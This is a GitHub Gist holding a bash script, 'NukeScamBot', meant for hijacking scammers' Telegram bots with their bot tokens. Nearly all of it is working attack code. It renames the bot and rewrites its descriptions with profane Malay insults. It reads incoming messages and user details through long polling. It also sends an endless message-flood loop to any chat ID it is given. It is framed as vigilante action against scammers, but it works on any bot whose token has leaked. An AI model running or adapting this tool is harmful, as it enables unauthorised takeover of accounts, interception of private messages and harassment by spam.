Last active
January 26, 2025 09:30
-
-
Save nullifye/2ab64616d425959bef44e2ccab960d84 to your computer and use it in GitHub Desktop.
Get Details of Scammer bot. Need BOT_TOKEN. Rakyat Malaysia Benci Scammer!
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # ========================================================= | |
| # NukeScamBot | |
| # Version: 2.5 | |
| # Author: Nullifye | |
| # Description: Update Telegram bot's details with ease. | |
| # Features: | |
| # - Fetch bot details (ID, name, username) | |
| # - Update bot name | |
| # - Update bot short and full descriptions | |
| # - Send repeated messages to a target | |
| # Usage: | |
| # ./nuke.sh [-overwrite | -bombard | -monitor] [BOT_TOKEN] [CHAT_ID] | |
| # ========================================================= | |
| banner_title() { | |
| echo ' _ ____ ___ _____ | |
| __ _ _ ___ | |___ ( __ |/ _ |_ _| | |
| / _` | | | \ \| / _ \ / _ | | | || | | |
| | | | | |_| |> \__ | (_| | |_| || | | |
| |_| |_|_.__//_/|_|___/ \____|\___/ |_| | |
| ./nuke [-overwrite | -bombard | -monitor] [BOT_TOKEN] [CHAT_ID] | |
| ' | |
| } | |
| fetch_details() { | |
| RESPONSE=$(curl -s -X GET "$API_URL/getMe") | |
| if echo "$RESPONSE" | grep -q '"ok":true'; then | |
| BOT_ID=$(echo "$RESPONSE" | grep -o '"id":[0-9]*' | sed 's/"id"://') | |
| BOT_NAME=$(echo "$RESPONSE" | grep -o '"first_name":"[^"]*"' | sed 's/"first_name":"//;s/"//g') | |
| BOT_USERNAME=$(echo "$RESPONSE" | grep -o '"username":"[^"]*"' | sed 's/"username":"//;s/"//g') | |
| echo | |
| echo "[+] Bot Details:" | |
| echo "- ID: $BOT_ID" | |
| echo "- Name: $BOT_NAME" | |
| echo "- Username: $BOT_USERNAME" | |
| else | |
| echo | |
| echo "[-] Failed to fetch bot details. Please check your token." | |
| exit 1 | |
| fi | |
| } | |
| overwrite_bot() { | |
| read -p "Enter the new bot name: [default] " NEW_NAME | |
| if [ -z "$NEW_NAME" ]; then | |
| NEW_NAME="‼️ Scammer Anjing Kurap 🐷" | |
| fi | |
| read -p "Enter the new description: [default] " NEW_DESCRIPTION | |
| if [ -z "$NEW_DESCRIPTION" ]; then | |
| NEW_DESCRIPTION="⚠️ This bot is used by SCAMMER to get your personal information. Hijacked by 'Rakyat Malaysia 🇲🇾 Benci Scammer!'." | |
| fi | |
| # Update bot name | |
| RESPONSE=$(curl -s -X POST "$API_URL/setMyName" -d "{\"name\":\"$NEW_NAME\"}" -H "Content-Type: application/json") | |
| if echo "$RESPONSE" | grep -q '"ok":true'; then | |
| echo | |
| echo "Bot name updated successfully to '$NEW_NAME'." | |
| else | |
| echo | |
| echo "Failed to update bot name. Response: $RESPONSE" | |
| exit 1 | |
| fi | |
| # Update bot short description | |
| RESPONSE_DESC=$(curl -s -X POST "$API_URL/setMyShortDescription" -d "{\"short_description\":\"$NEW_DESCRIPTION\"}" -H "Content-Type: application/json") | |
| if echo "$RESPONSE_DESC" | grep -q '"ok":true'; then | |
| echo "Bot short description updated successfully to '$NEW_DESCRIPTION'." | |
| else | |
| echo "Failed to update bot short description. Response: $RESPONSE_DESC" | |
| fi | |
| # Update bot description | |
| RESPONSE_FULL_DESC=$(curl -s -X POST "$API_URL/setMyDescription" -d "{\"description\":\"$NEW_DESCRIPTION\"}" -H "Content-Type: application/json") | |
| if echo "$RESPONSE_FULL_DESC" | grep -q '"ok":true'; then | |
| echo "Bot description updated successfully to '$NEW_DESCRIPTION'." | |
| else | |
| echo "Failed to update bot description. Response: $RESPONSE_FULL_DESC" | |
| fi | |
| } | |
| bombard_target() { | |
| if [ -n "$CHAT_ID" ]; then | |
| TARGET_CHAT_ID="$CHAT_ID" | |
| else | |
| read -p "Enter the target chat ID: " TARGET_CHAT_ID | |
| fi | |
| if [ -z "$TARGET_CHAT_ID" ]; then | |
| echo | |
| echo "Error: Target chat ID is required." | |
| exit 1 | |
| fi | |
| read -p "Enter the message to send: [default] " MESSAGE | |
| if [ -z "$MESSAGE" ]; then | |
| MESSAGE='──────────────── | |
| 🔰 DATA | KATA SANDI 🔰 | |
| ──────────────── | |
| 👤 Nama: Pukimak Scammer | |
| 📱 No HP: <code>✱✱✱✱✱✱✱✱✱✱✱</code> | |
| 🔑 OTP: <tg-spoiler>848100</tg-spoiler> | |
| 🔐 Kata Laluan: 🖕🏼🖕🏼🖕🏼🖕🏼🖕🏼 | |
| ────────────────' | |
| fi | |
| RESPONSE=$(curl -s -X GET "$API_URL/getChat?chat_id=$TARGET_CHAT_ID") | |
| RESPONSE=$(echo "$RESPONSE" | sed 's/"personal_chat":{[^}]*},//g' | sed 's/"pinned_message":{[^}]*},//g' | sed 's/"forward_origin":{[^}]*},//g' | sed 's/"forward_from":{[^}]*},//g' | sed 's/"chat":{[^}]*},//g' | sed -E 's/"entities":\s*\[[^]]*\],?//g') | |
| if echo "$RESPONSE" | grep -q '"ok":true'; then | |
| CHAT_ID=$(echo "$RESPONSE" | grep -o '"id":-*[0-9]*' | sed 's/"id"://') | |
| CHAT_TYPE=$(echo "$RESPONSE" | grep -o '"type":"[^"]*"' | sed 's/"type":"//;s/"//g') | |
| CHAT_TITLE=$(echo "$RESPONSE" | grep -o '"title":"[^"]*"' | sed 's/"title":"//;s/"//g') | |
| CHAT_USERNAME=$(echo "$RESPONSE" | grep -o '"username":"[^"]*"' | sed 's/"username":"//;s/"//g') | |
| CHAT_FIRST_NAME=$(echo "$RESPONSE" | grep -o '"first_name":"[^"]*"' | sed 's/"first_name":"//;s/"//g') | |
| CHAT_LAST_NAME=$(echo "$RESPONSE" | grep -o '"last_name":"[^"]*"' | sed 's/"last_name":"//;s/"//g') | |
| echo | |
| echo "[+] Chat Details:" | |
| echo "- Chat ID: $CHAT_ID" | |
| echo "- Chat Type: $CHAT_TYPE" | |
| echo "- Chat Title: ${CHAT_TITLE:-N/A}" | |
| echo "- Chat Username: ${CHAT_USERNAME:-N/A}" | |
| echo "- Chat Name: ${CHAT_FIRST_NAME:-N/A} ${CHAT_LAST_NAME:-}" | |
| else | |
| echo | |
| echo "Failed to fetch chat details. Please check the chat ID." | |
| exit 1 | |
| fi | |
| echo | |
| echo "Starting message bombardment to chat ID $TARGET_CHAT_ID ..." | |
| COUNTER=1 | |
| while true; do | |
| RESPONSE=$(curl -s -X POST "$API_URL/sendMessage" -d "{\"chat_id\":\"$TARGET_CHAT_ID\", \"text\":\"$MESSAGE\", \"parse_mode\":\"HTML\"}" -H "Content-Type: application/json") | |
| if echo "$RESPONSE" | grep -q '"ok":true'; then | |
| echo "#$COUNTER 😈 SENT!" | |
| ((COUNTER++)) | |
| else | |
| echo "Failed to send message. Response: $RESPONSE" | |
| exit 1 | |
| fi | |
| if [ "$CHAT_TYPE" = "private" ]; then | |
| sleep 2 | |
| else | |
| sleep 3 | |
| fi | |
| done | |
| } | |
| check_webhook() { | |
| RESPONSE=$(curl -s -X POST "$API_URL/getWebhookInfo" -H "Content-Type: application/json") | |
| if echo "$RESPONSE" | grep -q '"ok":true'; then | |
| WEBHOOK=$(echo "$RESPONSE" | jq -r '.result.url // empty') | |
| PENDING_COUNT=$(echo "$RESPONSE" | jq -r '.result.pending_update_count') | |
| if [ -z "$WEBHOOK" ]; then | |
| echo "- Webhook: false" | |
| echo "- Pending Count: $PENDING_COUNT" | |
| else | |
| echo "- Webhook: $WEBHOOK" | |
| echo "- Pending Count: $PENDING_COUNT" | |
| echo | |
| echo 'Webhook found! Cannot do get updates.' | |
| exit 1 | |
| fi | |
| else | |
| echo | |
| echo "Failed to fetch webhook info. Please check your token." | |
| exit 1 | |
| fi | |
| } | |
| get_updates() { | |
| fetch_details | |
| check_webhook | |
| echo | |
| echo 'Long polling: 30 seconds' | |
| echo | |
| echo '[+] Waiting for new messages...' | |
| LASTMSG=-6 | |
| while true; do | |
| MSGOUTPUT=$(curl -s -X POST "$API_URL/getUpdates" -d "{\"offset\":$LASTMSG, \"timeout\":30}" -H "Content-Type: application/json") | |
| if echo "$MSGOUTPUT" | grep -q '"ok":true'; then | |
| echo "$MSGOUTPUT" | jq -c '.result[]' | while read -r message; do | |
| MSGDATE=$(echo "$message" | jq -r '.message.date' | date +"%Y-%m-%d %H:%M:%S") | |
| # Parse sender - id, first name, last name, and username | |
| FROM_ID=$(echo "$message" | jq -r '.message.from.id') | |
| FIRST_NAME=$(echo "$message" | jq -r '.message.from.first_name') | |
| LAST_NAME=$(echo "$message" | jq -r '.message.from.last_name // empty') | |
| USERNAME=$(echo "$message" | jq -r '.message.from.username') | |
| # Parse chat | |
| CHAT_ID=$(echo "$message" | jq -r '.message.chat.id') | |
| CHAT_TITLE=$(echo "$message" | jq -r '.message.chat.title // empty') | |
| CHAT_FNAME=$(echo "$message" | jq -r '.message.chat.first_name') | |
| CHAT_LNAME=$(echo "$message" | jq -r '.message.chat.last_name // empty') | |
| CHAT_USERNAME=$(echo "$message" | jq -r '.message.chat.username') | |
| if [ -z "$CHAT_TITLE" ]; then | |
| CTITLE="$CHAT_FNAME $CHAT_LNAME" | |
| else | |
| CTITLE="$CHAT_TITLE" | |
| fi | |
| # Parse message text | |
| TEXT_MSG=$(echo "$message" | jq -r '.message.text') | |
| # Display the parsed information | |
| echo "From: $FROM_ID - $FIRST_NAME $LAST_NAME ($USERNAME)" | |
| echo "Chat: $CHAT_ID - $CTITLE ($CHAT_USERNAME)" | |
| echo "Date: $MSGDATE" | |
| echo "Text: $TEXT_MSG" | |
| echo "------" | |
| done | |
| UPDATEID=$(echo "$MSGOUTPUT" | jq -r '.result | last | .update_id // empty') | |
| if [ -z "$UPDATEID" ]; then | |
| LASTMSG=$LASTMSG | |
| else | |
| LASTMSG=$((UPDATEID + 1)) | |
| fi | |
| else | |
| echo | |
| echo "Failed to get updates. Response: $MSGOUTPUT" | |
| exit 1 | |
| fi | |
| #sleep 10; | |
| done | |
| } | |
| if [[ "$1" == "-overwrite" ]]; then | |
| MODE="overwrite" | |
| BOT_TOKEN="$2" | |
| elif [[ "$1" == "-monitor" ]]; then | |
| MODE="monitor" | |
| BOT_TOKEN="$2" | |
| elif [[ "$1" == "-bombard" ]]; then | |
| MODE="bombard" | |
| BOT_TOKEN="$2" | |
| CHAT_ID="$3" | |
| else | |
| MODE="fetch" | |
| BOT_TOKEN="$1" | |
| fi | |
| banner_title | |
| if [ -z "$BOT_TOKEN" ]; then | |
| read -p "Enter Telegram bot token: " BOT_TOKEN | |
| fi | |
| if [ -z "$BOT_TOKEN" ]; then | |
| echo | |
| echo "[-] Bot token is required." | |
| exit 1 | |
| fi | |
| API_URL="https://api.telegram.org/bot${BOT_TOKEN}" | |
| if [ "$MODE" == "overwrite" ]; then | |
| overwrite_bot | |
| elif [ "$MODE" == "bombard" ]; then | |
| bombard_target | |
| elif [ "$MODE" == "monitor" ]; then | |
| get_updates | |
| else | |
| fetch_details | |
| fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment